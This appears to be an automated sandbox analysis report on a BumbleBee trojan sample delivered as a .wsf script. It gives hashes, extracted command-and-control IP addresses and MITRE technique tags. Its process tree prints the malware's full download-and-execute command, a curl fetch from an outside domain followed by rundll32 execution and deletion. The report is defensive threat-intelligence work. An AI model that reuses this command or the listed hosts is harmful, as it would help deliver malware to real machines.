bumblebee | 5b7dfd88fcbbbb7e3d1b4b6606c4fdd10397dd5c00e18cfe83cd9a94ed136246

Analysis

max time kernel
141s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
20-04-2023 18:29

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General

Target

doc_12QICZ_85.wsf
Size

178KB
MD5

518fc2e647ec1a068d96699a7c81f09f
SHA1

2f1852128b1797ecb20557109c503197992d5ff7
SHA256

5b7dfd88fcbbbb7e3d1b4b6606c4fdd10397dd5c00e18cfe83cd9a94ed136246
SHA512

2bf8fe6ac6316b64ba2f57ca9e6bdc922913d07b5a2cd9efeae453feb2ac7bc9e621b706ca245673a9b2d73d437592b9f2cedf78e5370db8f3dc8e6afbf3ee76
SSDEEP

3072:1eULHHO+zbe2qOX/w+A429OutoWjVM8kgCRreRlW+Q5HUJAWo5hiaPJhO5Q51lJO:Y8SOXY7txjVM8kgUeRlW+FAWo5AaPjCb

Score

10^/10

bumblebee mc1904 trojan

Malware Config

Extracted

Family

bumblebee

Botnet

mc1904

146.70.155.82:443

149.3.170.179:443

103.175.16.150:443

rc4.plain

Signatures

BumbleBee
BumbleBee is a webshell malware written in C++.
trojan bumblebee

Blocklisted process makes network request 8 IoCs

flow	pid	Process
5	2116	WScript.exe
17	2508	rundll32.exe
27	2508	rundll32.exe
47	2508	rundll32.exe
52	2508	rundll32.exe
54	2508	rundll32.exe
56	2508	rundll32.exe
58	2508	rundll32.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	WScript.exe

Loads dropped DLL 1 IoCs

pid	Process
2508	rundll32.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2508	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2116 wrote to memory of 428	2116	WScript.exe	85
PID 2116 wrote to memory of 428	2116	WScript.exe	85
PID 428 wrote to memory of 2392	428	cmd.exe	87
PID 428 wrote to memory of 2392	428	cmd.exe	87
PID 428 wrote to memory of 2508	428	cmd.exe	88
PID 428 wrote to memory of 2508	428	cmd.exe	88

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\doc_12QICZ_85.wsf"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s --ssl-no-revoke --fail https://biznessfarm.buzz/mmm2/35EgZAl0ndLtSyB2PtEHMDZXsGF5DVRqOA~~/YgYONy1gmOyI6qASimiMJAPaZfRGBQVArw~~/ --output cjaelvdb.yaq && if exist cjaelvdb.yaq rundll32 cjaelvdb.yaq,bYXjdERymsFY && del cjaelvdb.yaq
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:428
- - C:\Windows\system32\curl.exe
    curl -s --ssl-no-revoke --fail https://biznessfarm.buzz/mmm2/35EgZAl0ndLtSyB2PtEHMDZXsGF5DVRqOA~~/YgYONy1gmOyI6qASimiMJAPaZfRGBQVArw~~/ --output cjaelvdb.yaq
    3⤵
    PID:2392
- - C:\Windows\system32\rundll32.exe
    rundll32 cjaelvdb.yaq,bYXjdERymsFY
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious use of NtCreateThreadExHideFromDebugger
    PID:2508

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\cjaelvdb.yaq

Filesize
1.4MB

MD5
2f7cc32eab5132846f2c60cd49b11503

SHA1
a3bd016dd1d2f26857594d4d60f36bc73e9ede99

SHA256
187754f20558b7d67abb233e84ee14a85ea1791983d87d5a4dfe062799ae3d3c

SHA512
2ad2ca1341a5603c76ee0137d88b7134aec944333c41b0aca3af3ca3415e65127225c6b1753d11bf0a1d3b570e00fa6ebb95824f09e048d13d45dfae0ef8e433

Download Submit
C:\Users\Admin\AppData\Local\Temp\cjaelvdb.yaq

Filesize
1.4MB

MD5
2f7cc32eab5132846f2c60cd49b11503

SHA1
a3bd016dd1d2f26857594d4d60f36bc73e9ede99

SHA256
187754f20558b7d67abb233e84ee14a85ea1791983d87d5a4dfe062799ae3d3c

SHA512
2ad2ca1341a5603c76ee0137d88b7134aec944333c41b0aca3af3ca3415e65127225c6b1753d11bf0a1d3b570e00fa6ebb95824f09e048d13d45dfae0ef8e433

Download Submit
memory/2508-136-0x00000176816F0000-0x0000017681851000-memory.dmp

Filesize
1.4MB

Download
memory/2508-137-0x00000176816F0000-0x0000017681851000-memory.dmp

Filesize
1.4MB

Download
memory/2508-138-0x00000176816F0000-0x0000017681851000-memory.dmp

Filesize
1.4MB

Download
memory/2508-139-0x0000017681510000-0x000001768158A000-memory.dmp

Filesize
488KB

Download